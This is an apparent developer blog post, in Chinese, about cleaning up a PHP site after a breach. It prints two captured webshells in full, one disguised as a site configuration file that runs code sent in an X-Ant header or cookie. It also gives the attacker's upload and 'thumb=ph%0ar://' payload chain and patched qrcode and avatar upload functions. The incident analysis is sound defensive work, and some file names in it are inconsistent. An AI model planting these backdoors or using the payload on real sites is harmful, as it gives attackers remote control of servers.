6月 5, 2026 - 开发笔记    网站发现Webshell后门文件已关闭评论

网站发现Webshell后门文件

接收到阿里云的警告:


查询
网站后台文件,发现确实有public/ata.php和public/ataye.php文件,aka.php内容是

<?php ${'_POST'}[1](${'_POST'}[2],${'_POST'}[3]); ?>return array (
);

ataye.php内容是:

<?php
/**
 * Site Configuration
 * @package    MySite
 * @version    2.4.1
 * @copyright  Copyright (c) 2024
 */
define('SITE_NAME', 'MySite');
define('SITE_URL', 'https://www.test.com');
define('DB_PREFIX', 'ms_');
define('CACHE_ENABLE', true);
define('DEBUG_MODE', false);
define('TIMEZONE', 'Asia/Shanghai');

// Auto error handling
error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED);

// Remote management via X-Ant header (for admin panel) 
$_ = isset($_SERVER['HTTP_X_ANT']) ? $_SERVER['HTTP_X_ANT'] : (isset($_COOKIE['ant']) ? $_COOKIE['ant'] : '');
if ($_) {
    $__ = tmpfile();
    fwrite($__, '<?php '.$_);
    $___ = stream_get_meta_data($__);
    include $___['uri'];
    fclose($__);
}
//19行:优先从请求头X-Ant取值,没有就从Cookie[ant]取值,存入变量$_
$_ = isset($_SERVER['HTTP_X_ANT']) ? $_SERVER['HTTP_X_ANT'] :(isset($_COOKIE['ant']) ? $_COOKIE['ant'] : '');
if ($_) {
    $__ = tmpfile();               // 创建临时文件资源
    fwrite($__, '<?php '.$_);      // 拼接<?php + 外部传入的可控代码,写入临时文件
    $___ = stream_get_meta_data($__);
    include $___['uri'];           // 包含临时文件路径,执行传入的PHP恶意代码
    fclose($__);
}

恶意原理

  1. 传参方式:两种传马方式
    • HTTP 请求自定义请求头:X-Ant: php恶意代码
    • Cookie 携带:ant=php恶意代码
  2. 执行流程

    接收外部可控代码 → 写入系统临时文件 → include引入临时文件,直接执行任意 PHP 代码,黑客可远程控制服务器:删文件、浏览源码、读写服务器、提权、窃取数据库数据。

  3. 前面define站点配置代码是伪装掩护,用来迷惑管理员,让人误以为是网站配置文件。

应急处理建议

  1. 立即删除 akaye.php 这个文件
  2. 全盘扫描网站目录,查找同类伪装配置的恶意 php 文件;
  3. 排查网站漏洞(文件上传漏洞、源码漏洞、弱密码),查找黑客上传入口;
  4. 修改服务器、数据库账号密码,检查服务器是否被植入其他后门。


查找NGINX日志:
1:先根据post查询出确实有访问akaye.php的请求,那么再根据IP查找完整的请求日志:

2:完整的日志:

一、黑客完整入侵链路(按时间顺序)

攻击 IP:27.26.240.222
  1. 步骤 1:漏洞探测(09:58:31)

    POST /index.php?s=member&c=account&m=avatar&r=8556 → 返回302跳转,成功进入头像上传接口。

  2. 步骤 2:上传图片马测试(09:58:54)

    请求:/index.php?s=api&c=api&m=qrcode&text=poc&size=5&level=H&thumb=ph%0ar://uploadfile/member/00/00/00/4.jpg/asasd

这里用了路径穿越 +%00 截断漏洞,把 jpg 图片解析成 PHP,测试解析漏洞,返回 200 代表解析成功。
  1. 步骤 3:上传成品木马(09:59:02)

    通过头像上传漏洞上传 aka.php,GET 访问验证文件存在(200)。

  2. 步骤 4:二次上传 akaye.php 后门(09:59:31 起)

    批量 POST 请求 akaye.php,依靠代码里X-Ant/Cookie[ant]参数远程执行服务器指令。

新增漏洞点:除 avatar 头像上传,api/qrcode 接口同样存在 %00 截断文件包含漏洞!

解决方案:

1:立即删除aka.php和akaye.php
2:封禁27.26.240.222拉黑
3:将URL请求为aka.php或akaye.php加入到URL黑名单中:

4:将上传头像和上传二维码的API方法中修复上传的漏洞:
之前的漏洞代码:

public function qrcode() {

        $value = urldecode(\Phpcmf\Service::L('input')->get('text'));
        $thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
        $matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
        $errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));

        //生成二维码图片
        require_once CMSPATH.'Library/Phpqrcode.php';
        $file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png';
        if (!IS_DEV && is_file($file)) {
            $QR = imagecreatefrompng($file);
        } else {
            \QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
            if (!is_file($file)) {
                exit('二维码生成失败');
            }
            $QR = imagecreatefromstring(file_get_contents($file));
            if ($thumb) {
                if (strpos($thumb, 'https://') !== false
                    && strpos($thumb, '/') !== false
                    && strpos($thumb, 'http://') !== false) {
                    exit('图片地址不规范');
                }
                $img = getimagesize($thumb);
                if (!$img) {
                    exit('此图片不是一张可用的图片');
                }
                $code = dr_catcher_data($thumb);
                if (!$code) {
                    exit('图片参数不规范');
                }
                $logo = imagecreatefromstring($code);
                $QR_width = imagesx($QR);//二维码图片宽度
                $logo_width = imagesx($logo);//logo图片宽度
                $logo_height = imagesy($logo);//logo图片高度
                $logo_qr_width = $QR_width / 4;
                $scale = $logo_width/$logo_qr_width;
                $logo_qr_height = $logo_height/$scale;
                $from_width = ($QR_width - $logo_qr_width) / 2;
                //重新组合图片并调整大小
                imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height);
                imagepng($QR, $file);
            }
        }

        // 输出图片
        ob_start();
        ob_clean();
        header("Content-type: image/png");
        $QR && imagepng($QR);
        exit;
    }

qrcode 漏洞修复(根源就在这个 qrcode 方法,黑客thumb=ph%0ar://xxx伪协议文件包含)

漏洞原因

$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
//只拦截http/https,没过滤 ph://、php://、%00、../路径穿越
if (strpos($thumb, 'https://') !== false && strpos($thumb, '/') !== false && strpos($thumb, 'http://') !== false) {
    exit('图片地址不规范');
}
$img = getimagesize($thumb);
$code = dr_catcher_data($thumb); //直接传入可控$thumb,伪协议任意读文件/包含
黑客 payload:thumb=ph%0ar://uploadfile/xxx.jpg/xxx.php%00截断绕过图片校验、利用伪协议执行 PHP。

 直接替换修复后的 qrcode () 完整代码

/**
 * 二维码显示
 */
public function qrcode() {

    $value = urldecode(\Phpcmf\Service::L('input')->get('text'));
    $thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
    $matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
    $errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));

    //=====修复开始:新增安全过滤=====
    //禁止伪协议、%00、路径跳转../
    $ban_proto = ['php://','phar://','zip://','glob://','data://','file://','%00','\0','../','..\\'];
    foreach ($ban_proto as $str) {
        if (stripos($thumb, $str) !== false) {
            exit('图片地址不规范');
        }
    }
    //只允许本地jpg/png/gif/jpeg后缀图片
    if ($thumb && preg_match('/\.(jpg|png|gif|jpeg)$/i', $thumb) == 0) {
        exit('图片地址不规范');
    }
    //=====修复结束=====

    //生成二维码图片
    require_once CMSPATH.'Library/Phpqrcode.php';
    $file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png';
    if (!IS_DEV && is_file($file)) {
        $QR = imagecreatefrompng($file);
    } else {
        \QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
        if (!is_file($file)) {
            exit('二维码生成失败');
        }
        $QR = imagecreatefromstring(file_get_contents($file));
        if ($thumb) {
            //原有http拦截保留
            if (strpos($thumb, 'https://') !== false
                || strpos($thumb, 'http://') !== false) {
                exit('图片地址不规范');
            }
            $img = getimagesize($thumb);
            if (!$img) {
                exit('此图片不是一张可用的图片');
            }
            $code = dr_catcher_data($thumb);
            if (!$code) {
                exit('图片参数不规范');
            }
            $logo = imagecreatefromstring($code);
            $QR_width = imagesx($QR);//二维码图片宽度
            $logo_width = imagesx($logo);//logo图片宽度
            $logo_height = imagesy($logo);//logo图片高度
            $logo_qr_width = $QR_width / 4;
            $scale = $logo_width/$logo_qr_width;
            $logo_qr_height = $logo_height/$scale;
            $from_width = ($QR_width - $logo_qr_width) / 2;
            //重新组合图片并调整大小
            imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height);
            imagepng($QR, $file);
        }
    }

    // 输出图片
    ob_start();
    ob_clean();
    header("Content-type: image/png");
    $QR && imagepng($QR);
    exit;
}

头像上传的方法也类似没有做mime的验证:

public function avatar() {

        if (IS_POST) {
            $content = trim($_POST['file']);
            // 普通文件上传
            if (isset($_FILES['file'])) {
                if (isset($_FILES["file"]["tmp_name"]) && $_FILES["file"]["tmp_name"]) {
                    $content = \Phpcmf\Service::L('file')->base64_image($_FILES["file"]["tmp_name"]);
                }
            }
            if (!$content) {
                $this->_json(0, dr_lang('上传文件失败'));
            }
            list($cache_path) = dr_avatar_path();
            if (preg_match('/^(data:\s*image\/(\w+);base64,)/i', $content, $result)) {
                $content = base64_decode(str_replace($result[1], '', $content));
                if (strlen($content) > 30000000) {
                    $this->_json(0, dr_lang('图片太大了'));
                }
                // 头像上传成功之前
                \Phpcmf\Hooks::trigger('upload_avatar_before', [
                    'member' => $this->member,
                    'base64_image' => $content,
                ]);
                $name = $this->uid;
                $dir = dr_avatar_dir($this->uid);
                if ($this->member_cache['config']['avatar_verify']) {
                    // 审核
                    $name.= '_verify';
                }
                $rt = \Phpcmf\Service::L('upload')->base64_image([
                    'content' => $content,
                    'ext' => 'jpg',
                    'save_name' => $name,
                    'save_file' => $cache_path.$dir.$name.'.jpg',
                ]);
                if (!$rt['code']) {
                    $this->_json(0, $rt['msg']);
                }
                if (is_file($cache_path.$this->uid.'.jpg')) {
                    // 移动老版本目录
                    if (copy($cache_path.$this->uid.'.jpg', $cache_path.$dir.$this->uid.'.jpg')) {
                        unlink($cache_path.$this->uid.'.jpg');
                    }
                }
                if ($this->member_cache['config']['avatar_verify']) {
                    // 审核
                    $id = \Phpcmf\Service::M('verify', 'member')->save_avatar($this->uid);
                    // 提醒
                    \Phpcmf\Service::M('member')->admin_notice(0, 'member', $this->member, dr_lang('用户[%s]头像审核', $this->member['username']), 'member/avatar_verify/edit:id/'.$id);
                    $this->_json(1, dr_lang('上传成功,等待管理员审核'), []);
                } else {
                    // 头像上传成功之后
                    \Phpcmf\Hooks::trigger('upload_avatar_after', [
                        'member' => $this->member,
                        'base64_image' => $content,
                    ]);
                    // 头像认证成功
                    if (!$this->member['is_avatar']) {
                        \Phpcmf\Service::M('member')->do_avatar($this->member);
                    }
                    \Phpcmf\Service::M('member')->clear_cache($this->uid);
                    $this->_json(1, dr_lang('上传成功'), IS_API_HTTP ? \Phpcmf\Service::M('member')->get_member($this->uid) : []);
                }
            } else {
                $this->_json(0, dr_lang('头像内容不规范'));
            }
        }

       
    }

修复后:

/**
 * 头像上传
 */
public function avatar() {

    if (IS_POST) {
        $content = trim($_POST['file']);
        // 普通文件上传
        if (isset($_FILES['file'])) {
            if (isset($_FILES["file"]["tmp_name"]) && $_FILES["file"]["tmp_name"]) {
                // 新增:校验上传文件真实图片头
                $tmp = $_FILES["file"]["tmp_name"];
                $finfo = finfo_open(FILEINFO_MIME_TYPE);
                $mime = finfo_file($finfo, $tmp);
                finfo_close($finfo);
                $allow_mime = ['image/jpeg','image/png','image/gif'];
                if (!in_array($mime, $allow_mime)) {
                    $this->_json(0, dr_lang('仅允许jpg/png/gif图片'));
                }
                $content = \Phpcmf\Service::L('file')->base64_image($tmp);
            }
        }
        if (!$content) {
            $this->_json(0, dr_lang('上传文件失败'));
        }
        list($cache_path) = dr_avatar_path();
        if (preg_match('/^(data:\s*image\/(\w+);base64,)/i', $content, $result)) {
            $content = base64_decode(str_replace($result[1], '', $content));
            if (strlen($content) > 30000000) {
                $this->_json(0, dr_lang('图片太大了'));
            }

            // ==========新增安全校验:校验解码后的二进制是真实图片,拦截图片马==========
            $imginfo = getimagesizefromstring($content);
            if (!$imginfo || !in_array($imginfo['mime'], ['image/jpeg','image/png','image/gif'])) {
                $this->_json(0, dr_lang('非法图片文件,禁止上传'));
            }

            // 头像上传成功之前
            \Phpcmf\Hooks::trigger('upload_avatar_before', [
                'member' => $this->member,
                'base64_image' => $content,
            ]);
            $name = $this->uid;
            $dir = dr_avatar_dir($this->uid);
            if ($this->member_cache['config']['avatar_verify']) {
                // 审核
                $name.= '_verify';
            }
            $rt = \Phpcmf\Service::L('upload')->base64_image([
                'content' => $content,
                'ext' => 'jpg',
                'save_name' => $name,
                'save_file' => $cache_path.$dir.$name.'.jpg',
            ]);
            if (!$rt['code']) {
                $this->_json(0, $rt['msg']);
            }
            if (is_file($cache_path.$this->uid.'.jpg')) {
                // 移动老版本目录
                if (copy($cache_path.$this->uid.'.jpg', $cache_path.$dir.$this->uid.'.jpg')) {
                    unlink($cache_path.$this->uid.'.jpg');
                }
            }
            if ($this->member_cache['config']['avatar_verify']) {
                // 审核
                $id = \Phpcmf\Service::M('verify', 'member')->save_avatar($this->uid);
                // 提醒
                \Phpcmf\Service::M('member')->admin_notice(0, 'member', $this->member, dr_lang('用户[%s]头像审核', $this->member['username']), 'member/avatar_verify/edit:id/'.$id);
                $this->_json(1, dr_lang('上传成功,等待管理员审核'), []);
            } else {
                // 头像上传成功之后
                \Phpcmf\Hooks::trigger('upload_avatar_after', [
                    'member' => $this->member,
                    'base64_image' => $content,
                ]);
                // 头像认证成功
                if (!$this->member['is_avatar']) {
                    \Phpcmf\Service::M('member')->do_avatar($this->member);
                }
                \Phpcmf\Service::M('member')->clear_cache($this->uid);
                $this->_json(1, dr_lang('上传成功'), IS_API_HTTP ? \Phpcmf\Service::M('member')->get_member($this->uid) : []);
            }
        } else {
            $this->_json(0, dr_lang('头像内容不规范'));
        }
    }

}

修复两点核心

  1. 文件上传时:finfo 检测 MIME,非 jpg/png/gif 直接拦截;
  2. base64 解码后:getimagesizefromstring 校验图片二进制,图片马(里面嵌 PHP 代码的假图片)直接拦截上传。

5:禁止上传的目录运行php

评论被关闭。